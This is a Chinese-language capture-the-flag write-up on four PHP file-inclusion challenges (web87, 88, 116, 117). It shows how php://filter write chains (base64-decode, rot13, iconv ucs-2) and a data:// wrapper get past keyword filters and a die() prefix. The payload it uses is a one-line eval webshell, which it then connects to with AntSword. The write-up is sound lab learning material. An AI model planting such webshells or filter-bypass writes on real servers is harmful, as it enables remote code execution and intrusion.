文件包含学习 web87、88、116、117
文件包含学习 web87、88、116、117
edited by twi1igh7
web87
先看源码,过滤了php、data、:、.,显然是为了防止我们用78-81使用的伪协议以及日志注入
审计代码,我们可以发现这道题是用GET传入file参数,然后POST传入content写入file文件。通过控制file参数我们可以控制写入文件的路径,通过控制content参数我们可以控制写入文件的内容。
这道题的难点在于,我们写入shell会被前面的die函数给截断,主要任务就是打乱前面的die函数
Payload1
我们传入?file=php://filter/write/convert.base64-decode/resource=shell.php,当然我们需要经过两层url-encode,GET传入一层,urldecode还有一层
1 | GET传入: |
<?php die('大佬别秀了');?>这段在base64解码的时候会去除特殊字符,也就是留下phpdie这6个字符,我们需要再补两个字符,否则会影响到后面的shell语句。POST传入<?php @eval($_POST['cmd']);?>,但是需要进行一次base64编码
1 | POST传入 |
然后蚁剑连接即可获取flag
Payload2
我们关键在于将捣乱的die函数杀死即可
这次我们用rot13将其换位,原本要写的GET参数是?file=php://filter/write=string.rot13/resource=shell.php,经过两次url加密后得到要传入的参数
1 | GET需要传入 |
content参数写入一句话木马<?php @eval($_POST['cmd']);?>,经过rot13加密后得到要传入的参数
1 | POST需要传入 |
蚁剑连接即可获取flag
总结
这道题主要用了php://filter伪协议两个不同的过滤器write=convert.base64-decode和write=string.rot13
我看网上还有很多方法,比如用convert.iconv等,这里就不一一复现了
web88
还是先看源码
过滤的东西很多啊,php大小写绕过不了了,我们php伪协议失效;点号被过滤了,日志注入也失效;我们只能控制file参数进行文件包含
想到最开始用的data伪协议居然放出来了,那么就简单了,我们目标就是构造?file=data://text/plain;base64,[base64编码后的shell语句]即可
但是这里需要注意的是base64中经常出现的\和=被ban了,所以我们要注意避开这两个字符。我打算构造shell语句<?php @eval($_POST['cmd']);?>,然后通过POST传cmd传入shell语句
尝试后发现需要传入
1 | GET传file参数 |
小结
这道题用了data://text/plain;base64,[base64编码后的shell语句]
web116
下载mp4,formost提取出图片
我们通过GET传入file参数,然后对输入内容进行匹配,最后读取内容
虽然过滤了很多,但是把php放出来了,并且我们要读的flag.php也没有过滤,那么这么多过滤其实就如同马奇诺防线一般
1 | GET传入 |
这里🍬了,最开始还想php://filter/read/convert.iconv.utf8.gbk/resource=flag.php来读hh
最后要在响应中才能看到flag
web117
还是先看源码
我们GET传入file参数,然后进行过滤,我们可以发现php还是放出来了。这道题和116题区别在于我们通过传入file控制路径,然后还可以通过POST传入content来控制写入内容,但是和87题有点类似,有一个die函数。
87题我们用了base64和rot13来打乱die函数,但是这里就失效了,但是还是可以尝试使用convert.iconv来进行绕过。但是utf被ban了,看了下还可以用ucs编码,那么下面就开始构造吧
首先file我们想传入?file=php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php,然后contents参数想要传入contents=<?php @eval($_POST['cmd']);?>
1 |
|
经过编码后得到需要上传的contents是?<hp pe@av(l_$OPTS"[mc"d)]; >?
然后蚁剑连接即可
小结
这道题用了convert.iconv.ucs-2be.ucs.le这个过滤器









